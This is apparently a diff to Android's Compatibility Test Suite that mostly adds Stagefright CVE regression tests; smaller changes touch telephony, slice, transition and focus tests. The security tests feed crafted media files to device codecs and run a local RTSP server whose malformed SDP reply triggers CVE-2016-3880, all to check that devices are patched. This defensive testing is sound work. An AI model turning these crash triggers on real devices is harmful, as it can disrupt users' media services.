+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -40,12 +40,16 @@
import android.opengl.GLES11Ext;
import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.os.Parcel;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
@@ -94,6 +98,7 @@
* Verify that the device is not vulnerable to any known Stagefright
* vulnerabilities.
*/
+@AppModeFull
@RunWith(AndroidJUnit4.class)
public class StagefrightTest {
static final String TAG = "StagefrightTest";
@@ -1254,8 +1259,267 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testStagefright_cve_2018_9474() throws Exception {
+ MediaPlayer mp = new MediaPlayer();
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.cve_2018_9474);
+
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ mp.prepare();
+
+ MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+ if (trackInfos == null || trackInfos.length == 0) {
+ return;
+ }
+
+ MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+ int trackType = trackInfo.getTrackType();
+ MediaFormat format = trackInfo.getFormat();
+
+ Parcel data = Parcel.obtain();
+ trackInfo.writeToParcel(data, 0);
+
+ data.setDataPosition(0);
+ int trackTypeFromParcel = data.readInt();
+ String mimeTypeFromParcel = data.readString();
+ data.recycle();
+
+ if (trackType == trackTypeFromParcel) {
+ assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+ mimeTypeFromParcel.equals("und"));
+ }
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-09")
+ public void testStagefright_cve_2019_2108() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+ new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+ CrashUtils.SIGABRT));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2016-09")
+ public void testStagefright_cve_2016_3880() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run() {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept()
+ ) {
+ OutputStream outputstream = conn.getOutputStream();
+ InputStream inputStream = conn.getInputStream();
+ byte input[] = new byte[65536];
+ inputStream.read(input, 0, 65536);
+ String inputStr = new String(input);
+ if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+ byte http[] = ("RTSP/1.0 200 OK\r\n"
+ + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+ + "Content-Type: application/sdp\r\n"
+ + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+ + "Content-Length: 379\r\n"
+ + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+ byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+ + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+ + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+ + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+ + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+ + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+ + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+ + "a=control:track1\r\n").getBytes();
+
+ outputstream.write(http);
+ outputstream.write(sdp);
+ outputstream.flush();
+ }
+ } catch (IOException e) {
+ }
+ }
+ };
+ server.start();
+ String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join();
+ server.join();
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_bug170240631() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTest(R.raw.bug170240631_ts);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3641() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3641);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14127() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14127);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testStagefright_cve_2019_14132() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14132);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_10591() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10591);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_10590() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10590);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14004() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14004);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14003() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14003);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-02")
+ public void testStagefright_cve_2019_14057() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14057);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10532() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10532);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10578() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10578);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14061() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14061, 180000);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10611() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10611);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testStagefright_cve_2019_10489() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_10489);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testStagefright_cve_2019_14048() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14048);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2253() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2253);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_10579() throws Exception {
+ doStagefrightTestANR(R.raw.cve_2019_10579);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14005() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14005);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14006() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14006);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14016() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14016);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_CVE_2019_14017() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14017);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testStagefright_cve_2018_9412() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_9412, 180000);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "Unknown")
public void testStagefright_bug_142641801() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
doStagefrightTest(R.raw.bug_142641801);
}
@@ -1457,10 +1721,49 @@
doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
}
+ /***********************************************************
+ to prevent merge conflicts, add P tests below this comment,
+ before any existing test methods
+ ***********************************************************/
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2222() throws Exception {
+ // TODO(b/170987914): This also skips testing hw_codecs.
+ // Update doStagefrightTestRawBlob to skip just the sw_codec test.
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA_SOFTWARE_CODEC));
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
private void doStagefrightTest(final int rid) throws Exception {
doStagefrightTest(rid, null);
}
+ /***********************************************************
+ to prevent merge conflicts, add Q tests below this comment,
+ before any existing test methods
+ ***********************************************************/
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-12")
+ public void testStagefright_cve_2019_2223() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.cve_2019_2223_framelen);
+ doStagefrightTestRawBlob(R.raw.cve_2019_2223_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testStagefright_cve_2019_1989() throws Exception {
+ Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
+ int[] isHeader = (int[])obj [0];
+ int[] frameSizes = (int[])obj [1];
+ doStagefrightTestRawBlob(R.raw.cve_2019_1989_h264, "video/avc",
+ 1920, 1080, frameSizes, isHeader, new CrashUtils.Config());
+ }
+
private void doStagefrightTest(final int rid, CrashUtils.Config config) throws Exception {
NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
policy.setCleartextTrafficPermitted(true);
@@ -2038,7 +2341,11 @@
renderTarget.destroy();
}
}
- ex.unselectTrack(t);
+ try {
+ ex.unselectTrack(t);
+ } catch (IllegalArgumentException e) {
+ // since we're just cleaning up, we don't care if it fails
+ }
}
ex.release();
String cve = rname.replace("_", "-").toUpperCase();
@@ -2249,6 +2556,25 @@
return frameSizes;
}
+ private Object[] getFrameInfo(int rid) throws IOException {
+ final Context context = getInstrumentation().getContext();
+ final Resources resources = context.getResources();
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ FileInputStream fis = fd.createInputStream();
+ byte[] frameInfo = new byte[(int) fd.getLength()];
+ fis.read(frameInfo);
+ fis.close();
+ String[] lines = new String(frameInfo).trim().split("\\r?\\n");
+ int isHeader[] = new int[lines.length];
+ int frameSizes[] = new int[lines.length];
+ for (int i = 0; i < lines.length; i++) {
+ String[] values = lines[i].trim().split("\\s+");
+ isHeader[i] = Integer.parseInt(values[0]);
+ frameSizes[i] = Integer.parseInt(values[1]);
+ }
+ return new Object[] {isHeader, frameSizes};
+ }
+
private void runWithTimeout(Runnable runner, int timeout) {
Thread t = new Thread(runner);
t.start();
@@ -2533,6 +2859,136 @@
thr.join();
}
+ private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+ int frameSizes[], int isHeader[], CrashUtils.Config config) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+ final Context context = getInstrumentation().getContext();
+ final Resources resources = context.getResources();
+ LooperThread thr = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ AssetFileDescriptor fd = null;
+ try {
+ fd = resources.openRawResourceFd(R.raw.good);
+ // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
+ // setDataSource has been called
+ mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ fd.close();
+ } catch (Exception e) {
+ // this is a known-good file, so no failure should occur
+ fail("setDataSource of known-good file failed");
+ }
+ synchronized (mpcl) {
+ mpcl.notify();
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ thr.start();
+ // wait until the thread has initialized the MediaPlayer
+ synchronized (mpcl) {
+ mpcl.wait();
+ }
+
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ byte[] blob = new byte[(int) fd.getLength()];
+ FileInputStream fis = fd.createInputStream();
+ int numRead = fis.read(blob);
+ fis.close();
+
+ // find all the available decoders for this format
+ ArrayList<String> matchingCodecs = new ArrayList<String>();
+ int numCodecs = MediaCodecList.getCodecCount();
+ for (int i = 0; i < numCodecs; i++) {
+ MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+ if (info.isEncoder()) {
+ continue;
+ }
+ try {
+ MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+ if (caps != null) {
+ matchingCodecs.add(info.getName());
+ }
+ } catch (IllegalArgumentException e) {
+ // type is not supported
+ }
+ }
+
+ if (matchingCodecs.size() == 0) {
+ Log.w(TAG, "no codecs for mime type " + mime);
+ }
+ String rname = resources.getResourceEntryName(rid);
+ // decode this blob once with each matching codec
+ for (String codecName : matchingCodecs) {
+ Log.i(TAG, "Decoding blob " + rname + " using codec " + codecName);
+ MediaCodec codec = MediaCodec.createByCodecName(codecName);
+ MediaFormat format = MediaFormat.createVideoFormat(mime, initWidth, initHeight);
+ try {
+ codec.configure(format, null, null, 0);
+ codec.start();
+ } catch (Exception e) {
+ Log.i(TAG, "Exception from codec " + codecName);
+ releaseCodec(codec);
+ continue;
+ }
+ try {
+ MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+ ByteBuffer[] inputBuffers = codec.getInputBuffers();
+ int numFrames = 0;
+ if (frameSizes != null) {
+ numFrames = frameSizes.length;
+ }
+ if (0 == numFrames) {
+ fail("Improper picture length file");
+ }
+ int offset = 0;
+ int j = 0;
+ while (j < numFrames) {
+ int flags = 0;
+ int bufidx = codec.dequeueInputBuffer(5000);
+ if (bufidx >= 0) {
+ inputBuffers[bufidx].rewind();
+ Log.i(TAG, "Got buffer index " + bufidx + " with length "
+ + inputBuffers[bufidx].capacity());
+ if (isHeader[j] == 1) {
+ flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+ }
+ if (j == (numFrames - 1)) {
+ flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ }
+ Log.i(TAG, "Feeding frame " + j + " with framelen " + frameSizes[j]
+ + " offset " + offset + " and flags " + flags);
+ inputBuffers[bufidx].put(blob, offset, frameSizes[j]);
+ codec.queueInputBuffer(bufidx, 0, frameSizes[j], 0, flags);
+ offset = offset + frameSizes[j];
+ j++;
+ } else {
+ Log.i(TAG, "no input buffer");
+ }
+ bufidx = codec.dequeueOutputBuffer(info, 5000);
+ if (bufidx >= 0) {
+ codec.releaseOutputBuffer(bufidx, false);
+ } else {
+ Log.i(TAG, "no output buffer");
+ }
+ }
+ } catch (Exception e) {
+ // ignore, not a security issue
+ } finally {
+ releaseCodec(codec);
+ }
+ }
+ String cve = rname.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ thr.stopLooper();
+ thr.join();
+ }
+
private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
doStagefrightTestMediaPlayerANR(rid, uri, null);
}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index ca76d2b..e2fd053 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -21,6 +21,7 @@
import android.net.Uri
import android.os.Bundle
+import android.platform.test.annotations.SecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
import org.junit.Before
@@ -61,6 +62,7 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ValidAuthority() {
assumeFalse(isSlicesDisabled)
@@ -68,6 +70,7 @@
}
@Test(expected = SecurityException::class)
+ @SecurityTest(minPatchLevel = "2019-11-01")
fun testCallSliceUri_ShadyAuthority() {
assumeFalse(isSlicesDisabled)
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
index 3be25e6..72239ac 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
@@ -30,9 +30,12 @@
public class CellBroadcastDataMigrationTest {
private static final String TAG = CellBroadcastDataMigrationTest.class.getSimpleName();
+ private static final String DEFAULT_LEGACY_DATA_MIGRATION_APP =
+ "com.android.cellbroadcastreceiver";
+
/**
* To support data migration when upgrading from an older device, device need to define
- * legacy content provider. This tests verify that the legacy cellbroadcast contentprovider
+ * legacy content provider. This tests verify that the AOSP legacy cellbroadcast contentprovider
* only surfaces data for migration. The data should be protected by proper permissions and
* it should be headless without any other activities, services or providers to handle alerts.
*/
@@ -49,6 +52,13 @@
assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
android.Manifest.permission.READ_CELL_BROADCASTS, legacy.readPermission);
+ // Skip headless check for OEM defined data migration app. e.g, OEMs might use messaging
+ // apps to store CBR data pre-R.
+ if (!DEFAULT_LEGACY_DATA_MIGRATION_APP.equals(legacy.applicationInfo.packageName)) {
+ Log.d(TAG, "Device support data migration from OEM apps");
+ return;
+ }
+
// And finally verify that legacy provider is headless. We expect the legacy provider only
// surface the old data for migration rather than handling emergency alerts.
final PackageInfo legacyPackage = InstrumentationRegistry.getContext().getPackageManager()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
index b87d594..1112b28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
@@ -22,6 +22,7 @@
import android.telephony.CellIdentity;
import android.telephony.CellIdentityCdma;
import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
import android.telephony.CellIdentityNr;
import android.telephony.CellIdentityTdscdma;
import android.telephony.CellIdentityWcdma;
@@ -97,14 +98,48 @@
}
@Test
- public void testCellIdentityNr_asCellLocation() {
- CellIdentity cellIdentity =
- new CellIdentityNr(123, 456, 789, null, null, null, 0, null, null, EMPTY_SET);
+ public void testCellIdentityLte_asCellLocation() {
+ int tac = 1;
+ int ci = 2;
+ CellIdentity cellIdentity = new CellIdentityLte(123, 456, ci, 7, tac);
CellLocation cellLocation = cellIdentity.asCellLocation();
GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
- assertEquals(new GsmCellLocation(), gsmCellLocation);
+ assertEquals(tac, gsmCellLocation.getLac());
+ assertEquals(ci, gsmCellLocation.getCid());
+ // psc is not supported in LTE so always 0
+ assertEquals(0, gsmCellLocation.getPsc());
+ }
+
+ @Test
+ public void testCellIdentityLte_unavailable_asCellLocation() {
+ CellIdentity cellIdentity = new CellIdentityLte();
+
+ CellLocation cellLocation = cellIdentity.asCellLocation();
+
+ GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+ // -1 for unintialized lac and cid
+ assertEquals(-1, gsmCellLocation.getLac());
+ assertEquals(-1, gsmCellLocation.getCid());
+ // psc is not supported in LTE so always 0
+ assertEquals(0, gsmCellLocation.getPsc());
+ }
+
+ @Test
+ public void testCellIdentityNr_asCellLocation() {
+ int tac = 1;
+ CellIdentity cellIdentity =
+ new CellIdentityNr(123, tac, 789, null, null, null, 321, null, null, EMPTY_SET);
+
+ CellLocation cellLocation = cellIdentity.asCellLocation();
+
+ GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+ assertEquals(tac, gsmCellLocation.getLac());
+ // NR cid is 36 bits and can't fit into the 32-bit cid in GsmCellLocation, so always -1.
+ assertEquals(-1, gsmCellLocation.getCid());
+ // psc is not supported in NR so always 0, same as in LTE
+ assertEquals(0, gsmCellLocation.getPsc());
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index 7b522f7..f5e5b7a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -1,5 +1,7 @@
package android.telephony.cts;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -131,6 +133,28 @@
}
@Test
+ public void testSdk28ServiceStateListeningWithoutPermissions() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss);
+ assertNotEquals(ss, ss.createLocationInfoSanitizedCopy(false));
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService
+ .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss1);
+ assertNotEquals(ss1, ss1.createLocationInfoSanitizedCopy(true));
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ },
+ Manifest.permission.ACCESS_FINE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellLocation() {
if (!mShouldTest) return;
@@ -150,6 +174,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellLocation() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+ assertNull(cellLocation);
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellInfo() {
if (!mShouldTest) return;
@@ -169,6 +205,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellInfo() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+ assertTrue(cis == null || cis.isEmpty());
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testSdk28CellLocation() {
if (!mShouldTest) return;
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index 783594c..0d46c74 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -65,13 +65,18 @@
mTransition.setEpicenterCallback(new Transition.EpicenterCallback() {
@Override
public Rect onGetEpicenter(Transition transition) {
- return new Rect(0, 0, redValues.view.getWidth(), redValues.view.getHeight());
+ final int[] offset = new int[2];
+ redValues.view.getLocationOnScreen(offset);
+
+ return new Rect(
+ offset[0], offset[1],
+ offset[0] + redValues.view.getWidth(), offset[1] + redValues.view.getHeight());
}
});
long redDelay = getDelay(R.id.redSquare);
- // red square's delay should be roughly 0 since it is at the epicenter
- assertEquals(0f, redDelay, 30f);
+ // red square's delay should be 0 since it is at the epicenter
+ assertEquals(0, redDelay);
// The green square is on the upper-right
long greenDelay = getDelay(R.id.greenSquare);
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 4e2726c..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,11 +46,7 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_below="@id/layout">
- <android.view.cts.TestButton
- android:id="@+id/bottom_button"
- android:layout_width="60dp"
- android:layout_height="match_parent"
- android:text="B" />
+
</LinearLayout>
</RelativeLayout>
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index 300d3a5..ae0b4bf 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,8 +25,6 @@
public ViewGroup layout;
- public ViewGroup inflateLayout;
-
public Button topLeftButton;
public Button topRightButton;
@@ -35,19 +33,15 @@
public Button bottomRightButton;
- public Button bottomButton;
-
@Override
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.focus_finder_layout);
layout = (ViewGroup) findViewById(R.id.layout);
- inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
topLeftButton = (Button) findViewById(R.id.top_left_button);
topRightButton = (Button) findViewById(R.id.top_right_button);
bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
- bottomButton = (Button) findViewById(R.id.bottom_button);
}
}
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 53992ce..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
@@ -45,12 +44,10 @@
public class FocusFinderTest {
private FocusFinder mFocusFinder;
private ViewGroup mLayout;
- private ViewGroup mInflateLayout;
private Button mTopLeft;
private Button mTopRight;
private Button mBottomLeft;
private Button mBottomRight;
- private Button mBottom;
@Rule
public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -62,17 +59,14 @@
mFocusFinder = FocusFinder.getInstance();
mLayout = activity.layout;
- mInflateLayout = activity.inflateLayout;
mTopLeft = activity.topLeftButton;
mTopRight = activity.topRightButton;
mBottomLeft = activity.bottomLeftButton;
mBottomRight = activity.bottomRightButton;
- mBottom = activity.bottomButton;
mTopLeft.setNextFocusLeftId(View.NO_ID);
mTopRight.setNextFocusLeftId(View.NO_ID);
mBottomLeft.setNextFocusLeftId(View.NO_ID);
mBottomRight.setNextFocusLeftId(View.NO_ID);
- mBottom.setNextFocusLeftId(View.NO_ID);
}
@Test
@@ -462,17 +456,4 @@
view.setRight(right);
view.setBottom(bottom);
}
-
- @Test
- public void testFindNextFocusDoesNotReturnItself() {
- View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
- assertNull(nextFocus);
- }
-
- @Test
- public void testFindPreviousFocusDoesNotReturnItself() {
- View previousFocus =
- mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
- assertNull(previousFocus);
- }
}
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index d0ce0f0..3f9f563 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -50,6 +50,7 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorFilter;
+import android.graphics.Insets;
import android.graphics.Matrix;
import android.graphics.Point;
import android.graphics.PorterDuff;
@@ -58,7 +59,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.StateListDrawable;
-import android.hardware.display.DisplayManager;
import android.os.Bundle;
import android.os.Parcelable;
import android.os.SystemClock;
@@ -90,6 +90,9 @@
import android.view.ViewGroup;
import android.view.ViewParent;
